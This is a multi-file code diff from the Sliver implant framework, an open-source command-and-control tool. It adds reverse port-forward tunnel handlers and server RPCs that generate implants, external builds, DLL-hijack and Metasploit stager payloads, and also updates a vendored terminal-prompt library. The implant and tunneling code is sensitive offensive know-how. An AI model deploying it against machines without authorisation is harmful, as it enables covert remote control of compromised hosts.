tunnel := rtunnels.GetRTunnel(tunnel.ID)
rtunnels.RemoveRTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: implantConn,
}
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
sessionHandlerLog.Infof("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
tunnelDataCache.Add(tunnel.ID, req.Sequence, req)
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
tunnel.IncReadSequence() // Increment sequence counter
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[message just received] %v", tunnelData)
// {{end}}
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if tunnelDataCache.Len(tunnel.ID) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
Ack: tunnel.ReadSequence(),
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
// {{end}}
implantConn.RequestResend(data)
}
}
return nil
}
func RTunnelDataHandler(tunnelData *sliverpb.TunnelData, tunnel *rtunnels.RTunnel, connection *core.ImplantConnection) {
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
tunnel.IncReadSequence() // Increment sequence counter
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[message just received] %v", tunnelData)
// {{end}}
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if tunnelDataCache.Len(tunnel.ID) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
Ack: tunnel.ReadSequence(),
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
//sessionHandlerLog.Infof("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
// {{end}}
connection.RequestResend(data)
}
}
}
+56
View File
@@ -0,0 +1,56 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/core/rtunnels"
"google.golang.org/protobuf/proto"
)
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *rtunnels.RTunnel
conn *core.ImplantConnection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
Ack: tw.tun.ReadSequence(),
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
+2
View File
@@ -44,6 +44,8 @@ var (
// ErrInvalidName - Invalid name
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics and _-. only")
// ErrBuildExists
ErrBuildExists = status.Error(codes.AlreadyExists, "Build already exists")
ErrInvalidBeaconTaskCancelState = status.Error(codes.InvalidArgument, fmt.Sprintf("Invalid task state, must be '%s' to cancel", models.PENDING))
)
+109 -5
View File
@@ -23,17 +23,22 @@ import (
"errors"
"fmt"
"io/ioutil"
"path"
"os"
"path/filepath"
"runtime"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/util"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
var (
@@ -46,7 +51,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
var err error
name, config := generate.ImplantConfigFromProtobuf(req.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
@@ -64,6 +69,8 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
fPath, err = generate.SliverSharedLibrary(name, config)
case clientpb.OutputFormat_SHELLCODE:
fPath, err = generate.SliverShellcode(name, config)
default:
return nil, fmt.Errorf("invalid output format: %s", req.Config.Format)
}
if err != nil {
@@ -71,7 +78,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
}
filename := filepath.Base(fPath)
filedata, err := ioutil.ReadFile(fPath)
fileData, err := ioutil.ReadFile(fPath)
if err != nil {
return nil, err
}
@@ -84,7 +91,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
return &clientpb.Generate{
File: &commonpb.File{
Name: filename,
Data: filedata,
Data: fileData,
},
}, err
}
@@ -178,7 +185,7 @@ func (rpc *Server) ImplantProfiles(ctx context.Context, _ *commonpb.Empty) (*cli
// SaveImplantProfile - Save a new profile
func (rpc *Server) SaveImplantProfile(ctx context.Context, profile *clientpb.ImplantProfile) (*clientpb.ImplantProfile, error) {
_, config := generate.ImplantConfigFromProtobuf(profile.Config)
profile.Name = path.Base(profile.Name)
profile.Name = filepath.Base(profile.Name)
if 0 < len(profile.Name) && profile.Name != "." {
rpcLog.Infof("Saving new profile with name %#v", profile.Name)
err := generate.SaveImplantProfile(profile.Name, config)
@@ -248,3 +255,100 @@ func (rpc *Server) GetCompiler(ctx context.Context, _ *commonpb.Empty) (*clientp
rcpLog.Debugf("GetCompiler = %v", compiler)
return compiler, nil
}
// *** External builder RPCs ***
// Generate - Generate a new implant
func (rpc *Server) GenerateExternal(ctx context.Context, req *clientpb.GenerateReq) (*clientpb.ExternalImplantConfig, error) {
var err error
name, config := generate.ImplantConfigFromProtobuf(req.Config)
if name == "" {
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
}
if config == nil {
return nil, errors.New("invalid implant config")
}
req.Config.Format = clientpb.OutputFormat_EXTERNAL
externalConfig, err := generate.SliverExternal(name, config)
if err != nil {
return nil, err
}
core.EventBroker.Publish(core.Event{
EventType: consts.ExternalBuildEvent,
Data: []byte(config.ID.String()),
})
return externalConfig, err
}
func (rpc *Server) GenerateExternalSaveBuild(ctx context.Context, req *clientpb.ExternalImplantBinary) (*commonpb.Empty, error) {
implantConfig, err := db.ImplantConfigByID(req.ImplantConfigID)
if err != nil {
return nil, status.Error(codes.InvalidArgument, "invalid implant config id")
}
if implantConfig.Format != clientpb.OutputFormat_EXTERNAL {
return nil, status.Error(codes.InvalidArgument, "invalid implant config format")
}
err = util.AllowedName(req.Name)
if err != nil {
rpcLog.Errorf("Invalid build name: %s", err)
return nil, ErrInvalidName
}
_, err = db.ImplantBuildByName(req.Name)
if err == nil {
return nil, ErrBuildExists
}
tmpFile, err := ioutil.TempFile("", "sliver-external-build")
if err != nil {
rpcLog.Errorf("Failed to create temporary file: %s", err)
return nil, status.Error(codes.Internal, "Failed to write implant binary to temp file")
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(req.File.Data)
if err != nil {
rcpLog.Errorf("Failed to write implant binary to temp file: %s", err)
return nil, status.Error(codes.Internal, "Failed to write implant binary to temp file")
}
err = generate.ImplantBuildSave(req.Name, implantConfig, "")
if err != nil {
return nil, err
}
core.EventBroker.Publish(core.Event{
EventType: consts.BuildCompletedEvent,
Data: []byte(fmt.Sprintf("%s build completed", req.Name)),
})
return &commonpb.Empty{}, nil
}
func (rpc *Server) GenerateExternalGetImplantConfig(ctx context.Context, req *clientpb.ImplantConfig) (*clientpb.ExternalImplantConfig, error) {
implantConfig, err := db.ImplantConfigByID(req.ID)
if err != nil {
return nil, status.Error(codes.InvalidArgument, "invalid implant config id")
}
if implantConfig.Format != clientpb.OutputFormat_EXTERNAL {
return nil, status.Error(codes.InvalidArgument, "invalid implant config format")
}
name, err := codenames.GetCodename()
if err != nil {
return nil, err
}
otpSecret, err := cryptography.TOTPServerSecret()
if err != nil {
return nil, err
}
return &clientpb.ExternalImplantConfig{
Name: name,
Config: implantConfig.ToProtobuf(),
OTPSecret: otpSecret,
}, nil
}
+2 -1
View File
@@ -34,6 +34,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/util/encoders"
@@ -107,7 +108,7 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
name, config := generate.ImplantConfigFromProtobuf(p.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
+1
View File
@@ -141,6 +141,7 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
cfg := &configs.WGJobConfig{
Port: listenPort,
NPort: nListenPort,
KeyPort: keyExchangeListenPort,
}
configs.GetServerConfig().AddWGJob(cfg)
job.PersistentID = cfg.JobID
+2 -2
View File
@@ -29,9 +29,9 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/msf"
)
@@ -197,7 +197,7 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c
return MSFStage, err
}
MSFStage.File.Data = stage
name, err := generate.GetCodename()
name, err := codenames.GetCodename()
if err != nil {
return MSFStage, err
}
+2 -1
View File
@@ -26,6 +26,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/generate"
@@ -85,7 +86,7 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
if err != nil {
name, config := generate.ImplantConfigFromProtobuf(req.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
+56
View File
@@ -0,0 +1,56 @@
package rpc
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// GetRportFwdListeners - Get a list of all reverse port forwards listeners from an implant
func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.RportFwdListenersReq) (*sliverpb.RportFwdListeners, error) {
resp := &sliverpb.RportFwdListeners{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
// StartRportfwdListener - Instruct the implant to start a reverse port forward
func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
// StopRportfwdListener - Instruct the implant to stop a reverse port forward
func (rpc *Server) StopRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStopListenerReq) (*sliverpb.RportFwdListener, error) {
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
+2 -1
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
@@ -66,7 +67,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
if err != nil {
name, config := generate.ImplantConfigFromProtobuf(req.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
+18
View File
@@ -1,5 +1,23 @@
package sgn
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
+7 -1
View File
@@ -21,6 +21,7 @@ package website
import (
"errors"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"strings"
@@ -72,9 +73,14 @@ func GetContent(websiteName string, path string) (string, []byte, error) {
dbSession := db.Session()
content := models.WebContent{}
// Use path without any query parameters
u, err := url.Parse(path)
if err != nil {
return "", []byte{}, err
}
result := dbSession.Where(&models.WebContent{
WebsiteID: website.ID,
Path: path,
Path: u.Path,
}).First(&content)
if result.Error != nil {
return "", []byte{}, result.Error
-22
View File
@@ -1,22 +0,0 @@
language: go
go:
- 1.12
os:
- linux
- linux-ppc64le
- osx
- windows
go_import_path: github.com/AlecAivazis/survey/v2
before_install:
- go get github.com/alecaivazis/run
install:
- run install-deps
script:
- run tests
# - run autoplay-tests
+9 -31
View File
@@ -4,48 +4,26 @@
The following is a set of guidelines to follow when contributing to this package. These are not hard rules, please use common sense and feel free to propose changes to this document in a pull request.
## Table of Contents
1. [Code of Conduct](#code-of-conduct)
1. [Getting Help](#getting-help)
1. [Filing a Bug Report](#how-to-file-a-bug-report)
1. [Suggesting an API change](#suggesting-an-api-change)
1. [Submitting a Contribution](#submitting-a-contribution)
1. [Writing and Running Tests](#writing-and-running-tests)
## Code of Conduct
This project and its contibutors are expected to uphold the [Go Community Code of Conduct](https://golang.org/conduct). By participating, you are expected to follow these guidelines.
## Getting help
Feel free to [open up an issue](https://github.com/AlecAivazis/survey/v2/issues/new) on GitHub when asking a question so others will be able to find it. Please remember to tag the issue with the `Question` label so the maintainers can get to your question as soon as possible. If the question is urgent, feel free to reach out to `@AlecAivazis` directly in the gophers slack channel.
## How to file a bug report
Bugs are tracked using the Github Issue tracker. When filing a bug, please remember to label the issue as a `Bug` and answer/provide the following:
1. What operating system and terminal are you using?
1. An example that showcases the bug.
1. What did you expect to see?
1. What did you see instead?
## Suggesting an API change
If you have an idea, I'm more than happy to discuss it. Please open an issue and we can work through it. In order to maintain some sense of stability, additions to the top-level API are taken just as seriously as changes that break it. Adding stuff is much easier than removing it.
* [Open an issue](https://github.com/AlecAivazis/survey/issues/new/choose)
* Reach out to `@AlecAivazis` or `@mislav` in the Gophers slack (please use only when urgent)
## Submitting a contribution
In order to maintain stability, most features get fully integrated in more than one PR. This allows for more opportunity to think through each API change without amassing large amounts of tech debt and API changes at once. If your feature can be broken into separate chunks, it will be able to be reviewed much quicker. For example, if the PR that implemented the `Validate` field was submitted in a PR separately from one that included `survey.Required`, it would be able to get merge without having to decide how many different `Validators` we want to provide as part of `survey`'s API.
When submitting a contribution,
- Provide a description of the feature or change
- Reference the ticket addressed by the PR if there is one
- Following community standards, add comments for all exported members so that all necessary information is available on godocs
- Remember to update the project README.md with changes to the high-level API
- Include both positive and negative unit tests (when applicable)
- Contributions with visual ramifications or interaction changes should be accompanied with the appropriate `go-expect` tests. For more information on writing these tests, see [Writing and Running Tests](#writing-and-running-tests)
- Try to make a series of smaller changes instead of one large change
- Provide a description of each change that you are proposing
- Reference the issue addressed by your pull request (if there is one)
- Document all new exported Go APIs
- Update the project's README when applicable
- Include unit tests if possible
- Contributions with visual ramifications or interaction changes should be accompanied with an integration test—see below for details.
## Writing and running tests
-78
View File
@@ -1,78 +0,0 @@
# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'.
[[projects]]
branch = "master"
name = "github.com/Netflix/go-expect"
packages = ["."]
revision = "c93bf25de8e869da25cf26bcd2932b36141f61ae"
[[projects]]
name = "github.com/davecgh/go-spew"
packages = ["spew"]
revision = "346938d642f2ec3594ed81d874461961cd0faa76"
version = "v1.1.0"
[[projects]]
branch = "master"
name = "github.com/hinshun/vt10x"
packages = ["."]
revision = "1954e646417484a2a687ea344edade2c2b6523c8"
[[projects]]
branch = "master"
name = "github.com/kballard/go-shellquote"
packages = ["."]
revision = "95032a82bc518f77982ea72343cc1ade730072f0"
[[projects]]
name = "github.com/kr/pty"
packages = ["."]
revision = "282ce0e5322c82529687d609ee670fac7c7d917c"
version = "v1.1.1"
[[projects]]
name = "github.com/mattn/go-colorable"
packages = ["."]
revision = "167de6bfdfba052fa6b2d3664c8f5272e23c9072"
version = "v0.0.9"
[[projects]]
name = "github.com/mattn/go-isatty"
packages = ["."]
revision = "0360b2af4f38e8d38c7fce2a9f4e702702d73a39"
version = "v0.0.3"
[[projects]]
branch = "master"
name = "github.com/mgutz/ansi"
packages = ["."]
revision = "9520e82c474b0a04dd04f8a40959027271bab992"
[[projects]]
name = "github.com/pmezard/go-difflib"
packages = ["difflib"]
revision = "792786c7400a136282c1664665ae0a8db921c6c2"
version = "v1.0.0"
[[projects]]
name = "github.com/stretchr/testify"
packages = [
"assert",
"require"
]
revision = "12b6f73e6084dad08a7c6e575284b177ecafbc71"
version = "v1.2.1"
[[projects]]
branch = "master"
name = "golang.org/x/sys"
packages = ["unix"]
revision = "9527bec2660bd847c050fda93a0f0c6dee0800bb"
[solve-meta]
analyzer-name = "dep"
analyzer-version = 1
inputs-digest = "371508ebad4798adc38a118f858b5c17a65b58594203548f9feb74cb781dd907"
solver-name = "gps-cdcl"
solver-version = 1
-54
View File
@@ -1,54 +0,0 @@
# Gopkg.toml example
#
# Refer to https://github.com/golang/dep/blob/master/docs/Gopkg.toml.md
# for detailed Gopkg.toml documentation.
#
# required = ["github.com/user/thing/cmd/thing"]
# ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"]
#
# [[constraint]]
# name = "github.com/user/project"
# version = "1.0.0"
#
# [[constraint]]
# name = "github.com/user/project2"
# branch = "dev"
# source = "github.com/myfork/project2"
#
# [[override]]
# name = "github.com/x/y"
# version = "2.4.0"
#
# [prune]
# non-go = false
# go-tests = true
# unused-packages = true
[[constraint]]
branch = "master"
name = "github.com/Netflix/go-expect"
[[constraint]]
branch = "master"
name = "github.com/hinshun/vt10x"
[[constraint]]
name = "github.com/mattn/go-isatty"
version = "0.0.3"
[[constraint]]
branch = "master"
name = "github.com/mgutz/ansi"
[[constraint]]
name = "github.com/stretchr/testify"
version = "1.2.1"
[prune]
go-tests = true
unused-packages = true
[[constraint]]
branch = "master"
name = "github.com/kballard/go-shellquote"
+81 -43
View File
@@ -1,9 +1,8 @@
# Survey
[![Build Status](https://travis-ci.org/AlecAivazis/survey.svg?branch=feature%2Fpretty)](https://travis-ci.org/AlecAivazis/survey)
[![GoDoc](http://img.shields.io/badge/godoc-reference-5272B4.svg)](https://pkg.go.dev/github.com/AlecAivazis/survey/v2)
A library for building interactive prompts.
A library for building interactive and accessible prompts on terminals supporting ANSI escape sequences.
<img width="550" src="https://thumbs.gfycat.com/VillainousGraciousKouprey-size_restricted.gif"/>
@@ -56,39 +55,12 @@ func main() {
}
```
## Table of Contents
1. [Examples](#examples)
1. [Running the Prompts](#running-the-prompts)
1. [Prompts](#prompts)
1. [Input](#input)
1. [Suggestion Options](#suggestion-options)
1. [Multiline](#multiline)
1. [Password](#password)
1. [Confirm](#confirm)
1. [Select](#select)
1. [MultiSelect](#multiselect)
1. [Editor](#editor)
1. [Filtering Options](#filtering-options)
1. [Validation](#validation)
1. [Built-in Validators](#built-in-validators)
1. [Help Text](#help-text)
1. [Changing the input rune](#changing-the-input-rune)
1. [Changing the Icons ](#changing-the-icons)
1. [Custom Types](#custom-types)
1. [Testing](#testing)
1. [FAQ](#faq)
## Examples
Examples can be found in the `examples/` directory. Run them
to see basic behavior:
```bash
go get github.com/AlecAivazis/survey/v2
cd $GOPATH/src/github.com/AlecAivazis/survey
go run examples/simple.go
go run examples/validation.go
```
@@ -221,6 +193,28 @@ prompt := &survey.MultiSelect{..., PageSize: 10}
survey.AskOne(prompt, &days, survey.WithPageSize(10))
```
#### Select options description
The optional description text can be used to add extra information to each option listed in the select prompt:
```golang
color := ""
prompt := &survey.Select{
Message: "Choose a color:",
Options: []string{"red", "blue", "green"},
Description: func(value string, index int) string {
if value == "red" {
return "My favorite color"
}
return ""
},
}
survey.AskOne(prompt, &color)
// Assuming that the user chose "red - My favorite color":
fmt.Println(color) //=> "red"
```
### MultiSelect
![Example](img/multi-select-all-none.gif)
@@ -295,7 +289,7 @@ survey.AskOne(prompt, &color, survey.WithFilter(myFilter))
## Keeping the filter active
By default the filter will disappear if the user selects one of the filtered elements. Once the user selects one element the filter setting is gone.
By default the filter will disappear if the user selects one of the filtered elements. Once the user selects one element the filter setting is gone.
However the user can prevent this from happening and keep the filter active for multiple selections in a e.g. MultiSelect:
@@ -342,11 +336,13 @@ survey.AskOne(prompt, &color, survey.WithValidator(survey.Required))
`survey` comes prepackaged with a few validators to fit common situations. Currently these
validators include:
| name | valid types | description | notes |
| ------------ | ----------- | ----------------------------------------------------------- | ------------------------------------------------------------------------------------- |
| Required | any | Rejects zero values of the response type | Boolean values pass straight through since the zero value (false) is a valid response |
| MinLength(n) | string | Enforces that a response is at least the given length | |
| MaxLength(n) | string | Enforces that a response is no longer than the given length | |
| name | valid types | description | notes |
| ------------ | -------------- | ---------------------------------------------------------------- | ------------------------------------------------------------------------------------- |
| Required | any | Rejects zero values of the response type | Boolean values pass straight through since the zero value (false) is a valid response |
| MinLength(n) | string | Enforces that a response is at least the given length | |
| MaxLength(n) | string | Enforces that a response is no longer than the given length | |
| MaxItems(n) | []OptionAnswer | Enforces that a response has no more selections of the indicated | |
| MinItems(n) | []OptionAnswer | Enforces that a response has no less selections of the indicated | |
## Help Text
@@ -361,6 +357,39 @@ All of the prompts have a `Help` field which can be defined to provide more info
}
```
## Removing the "Select All" and "Select None" options
By default, users can select all of the multi-select options using the right arrow key. To prevent users from being able to do this (and remove the `<right> to all` message from the prompt), use the option `WithRemoveSelectAll`:
```golang
import (
"github.com/AlecAivazis/survey/v2"
)
number := ""
prompt := &survey.Input{
Message: "This question has the select all option removed",
}
survey.AskOne(prompt, &number, survey.WithRemoveSelectAll())
```
Also by default, users can use the left arrow key to unselect all of the options. To prevent users from being able to do this (and remove the `<left> to none` message from the prompt), use the option `WithRemoveSelectNone`:
```golang
import (
"github.com/AlecAivazis/survey/v2"
)
number := ""
prompt := &survey.Input{
Message: "This question has the select all option removed",
}
survey.AskOne(prompt, &number, survey.WithRemoveSelectNone())
```
### Changing the input rune
In some situations, `?` is a perfectly valid response. To handle this, you can change the rune that survey
@@ -456,17 +485,26 @@ For some examples, you can see any of the tests in this repo.
## FAQ
### Why isn't sending a SIGINT (aka. CTRL-C) signal working?
### What kinds of IO are supported by `survey`?
When you send an interrupt signal to the process, it only interrupts the current prompt instead of the entire process. This manifests in a `github.com/AlecAivazis/survey/v2/terminal.InterruptErr` being returned from `Ask` and `AskOne`. If you want to stop the process, handle the returned error in your code:
survey aims to support most terminal emulators; it expects support for ANSI escape sequences.
This means that reading from piped stdin or writing to piped stdout is **not supported**,
and likely to break your application in these situations. See [#337](https://github.com/AlecAivazis/survey/pull/337#issue-581351617)
### Why isn't Ctrl-C working?
Ordinarily, when you type Ctrl-C, the terminal recognizes this as the QUIT button and delivers a SIGINT signal to the process, which terminates it.
However, Survey temporarily configures the terminal to deliver control codes as ordinary input bytes.
When Survey reads a ^C byte (ASCII \x03, "end of text"), it interrupts the current survey and returns a
`github.com/AlecAivazis/survey/v2/terminal.InterruptErr` from `Ask` or `AskOne`.
If you want to stop the process, handle the returned error in your code:
```go
err := survey.AskOne(prompt, &myVar)
if err == terminal.InterruptErr {
fmt.Println("interrupted")
os.Exit(0)
} else if err != nil {
panic(err)
if err != nil {
if err == terminal.InterruptErr {
log.Fatal("interrupted")
}
...
}
```
-19
View File
@@ -1,19 +0,0 @@
task "install-deps" {
description = "Install all of package dependencies"
pipeline = [
"go get {{.files}}",
]
}
task "tests" {
description = "Run the test suite"
command = "go test {{.files}}"
environment {
GOFLAGS = "-mod=vendor"
}
}
variables {
files = "$(go list -v ./... | grep -iEv \"tests|examples\")"
}
+4 -4
View File
@@ -49,8 +49,10 @@ func yesNo(t bool) string {
func (c *Confirm) getBool(showHelp bool, config *PromptConfig) (bool, error) {
cursor := c.NewCursor()
rr := c.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
// start waiting for input
for {
@@ -107,8 +109,6 @@ func (c *Confirm) getBool(showHelp bool, config *PromptConfig) (bool, error) {
}
return answer, nil
}
// should not get here
return c.Default, nil
}
/*
+3 -3
View File
@@ -29,7 +29,7 @@ var TemplateFuncsNoColor = map[string]interface{}{
//for colored output. The second string does not contain escape codes
//and can be used by the renderer for layout purposes.
func RunTemplate(tmpl string, data interface{}) (string, string, error) {
tPair, err := getTemplatePair(tmpl)
tPair, err := GetTemplatePair(tmpl)
if err != nil {
return "", "", err
}
@@ -52,12 +52,12 @@ var (
memoMutex = &sync.RWMutex{}
)
//getTemplatePair returns a pair of compiled templates where the
//GetTemplatePair returns a pair of compiled templates where the
//first template is generated for user-facing output and the
//second is generated for use by the renderer. The second
//template does not contain any color escape codes, whereas
//the first template may or may not depending on DisableColor.
func getTemplatePair(tmpl string) ([2]*template.Template, error) {
func GetTemplatePair(tmpl string) ([2]*template.Template, error) {
memoMutex.RLock()
